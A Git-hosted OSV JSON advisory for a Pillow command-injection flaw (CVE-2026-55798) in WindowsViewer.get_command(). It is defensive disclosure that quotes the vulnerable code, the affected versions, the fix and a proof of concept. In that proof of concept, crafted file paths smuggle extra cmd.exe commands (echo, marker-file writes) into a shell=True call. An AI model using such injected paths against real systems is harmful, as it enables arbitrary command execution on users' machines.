Files
vuln-osv/data/PyPI/GHSA-4x4j-2g7c-83w6.json

1 line
6.5 KiB
JSON
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
{"schema_version":"1.9.0","id":"GHSA-4x4j-2g7c-83w6","published":"2026-07-20T21:14:14Z","modified":"2026-09-10T03:51:10.324377232Z","aliases":["BIT-pillow-2026-55798","CVE-2026-55798","PYSEC-2026-2257"],"summary":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","details":"### 1. Summary\n\n`WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a\nfile path into an f-string without escaping. The result is passed to\n`subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most\nimportantly a double-quote (`\"`) that breaks out of the wrapping, followed by `&` — allow\ninjection of arbitrary `cmd.exe` commands.\n\nThe macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter.\nThe Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this\nprotection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`.\n\n---\n\n### 2. Vulnerable Code\n\n**File:** `src/PIL/ImageShow.py`, lines 133–150\n\n```python\nclass WindowsViewer(Viewer):\n format = \"PNG\"\n options = {\"compress_level\": 1, \"save_all\": True}\n\n def get_command(self, file: str, **options: Any) -> str:\n return (\n f'start \"Pillow\" /WAIT \"{file}\" ' # ← f-string, no escaping\n \"&& ping -n 4 127.0.0.1 >NUL \"\n f'&& del /f \"{file}\"' # ← same path, unescaped again\n )\n\n def show_file(self, path: str, **options: Any) -> int:\n if not os.path.exists(path):\n raise FileNotFoundError\n subprocess.Popen(\n self.get_command(path, **options),\n shell=True, # ← shell=True\n creationflags=getattr(subprocess, \"CREATE_NO_WINDOW\"),\n ) # nosec # ← Bandit warning suppressed manually\n return 1\n```\n\n**Contrast with macOS — SAFE (line 164–168):**\n```python\nclass MacViewer(Viewer):\n def get_command(self, file: str, **options: Any) -> str:\n command = \"open -a Preview.app\"\n command = f\"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&\"\n return command # ← shlex.quote() applied\n```\n\n**Cross-platform summary:**\n\n| Platform | Class | `shlex.quote()`? | `shell=True`? | Safe? |\n|----------|----------------|------------------|---------------|-------|\n| macOS | `MacViewer` | **Yes** (line 168) | No (list args) | ✅ Yes |\n| Linux | `UnixViewer` | **Yes** (line 207) | No (list args) | ✅ Yes |\n| Windows | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ No |\n\n`shlex.quote` is imported on line 21. Its omission from the Windows path is a clear\noversight, not a deliberate design choice.\n\n---\n### 3. Proof of Concept\n\nA full working PoC is at `poc_pillow_injection.py`. Key parts:\n\n**Part A — Injection string construction (static, no execution):**\n```python\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\nevil_path = r'C:\\Temp\\evil\" & echo PWNED & echo \"'\ncmd = viewer.get_command(evil_path)\nprint(cmd)\n# Output:\n# start \"Pillow\" /WAIT \"C:\\Temp\\evil\" & echo PWNED & echo \"\" && ping ...\n# ┌─ start \"Pillow\" /WAIT \"C:\\Temp\\evil\" → fails (file not found)\n# ├─ & echo PWNED → INJECTED COMMAND\n# └─ & echo \"\" && ping ... → continues\n```\n\n**Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):**\n```python\nimport os, tempfile\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\npoc_dir = tempfile.mkdtemp()\nmarker = os.path.join(poc_dir, \"INJECTION_CONFIRMED.txt\")\n\n# Craft injection: payload writes a marker file (harmless)\npayload = f'echo REAL_INJECTED > \"{marker}\"'\nevil_path = os.path.join(poc_dir, f'poc\" & {payload} & echo \"')\n\n# Call the REAL Pillow get_command():\nreal_cmd = viewer.get_command(evil_path)\n\n# Execute the same way the base Viewer.show_file() does (os.system):\nos.system(real_cmd)\n\nassert os.path.exists(marker) # PASSES — marker was created\nassert \"REAL_INJECTED\" in open(marker).read() # PASSES\n# → CONFIRMED: arbitrary command injection via get_command()\n```\n\n---","affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-4x4j-2g7c-83w6/GHSA-4x4j-2g7c-83w6.json"}}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55798"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"}],"database_specific":{"cwe_ids":["CWE-78"],"github_reviewed":true,"github_reviewed_at":"2026-07-20T21:14:14Z","nvd_published_at":"2026-07-06T19:17:08Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L"}]}